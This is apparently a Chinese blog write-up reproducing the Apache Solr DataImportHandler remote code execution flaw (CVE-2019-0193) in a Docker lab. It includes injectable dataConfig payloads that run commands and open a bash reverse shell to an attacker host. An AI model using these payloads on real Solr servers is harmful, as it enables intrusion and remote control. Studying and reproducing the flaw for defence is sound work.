赞
踩
Apache Solr搜索服务,它是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引(solr 中索引库用 core 表示);也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,此次漏洞出现在Apache Solr的 DataImportHandler,通过 DataImportHandler 可以从数据库和其他源中批量把数据导入索引库中,它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,当solr开启了 DataImportHandler 功能后,攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响范围:Apache Solr < 8.2.0。

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。



dataConfig字段是编码之后的,解码还原后的 http 请求就是它自定义的Configuration。
<dataConfig> <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" /> <document> <entity name="item" query="select * from item" deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'"> <field column="NAME" name="name" /> <entity name="feature" query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'" deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}"> <field name="features" column="DESCRIPTION" /> </entity> <entity name="item_category" query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'" deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}"> <entity name="category" query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'" deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'" parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}"> <field column="DESCRIPTION" name="cat" /> </entity> </entity> </entity> </document> </dataConfig>
touch /tmp/success,在系统的tmp目录下新建立一个名为:success的文件。<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

也可以使用docker命令:docker-compose exec solr ls /tmp,可见/tmp/success已成功创建:

反弹shell到kali主机上,修改dataConfig字段,注入我们的POC,利用bash反弹shell:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/bin/bash >& /dev/tcp/192.168.40.131 1234 0>&1");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。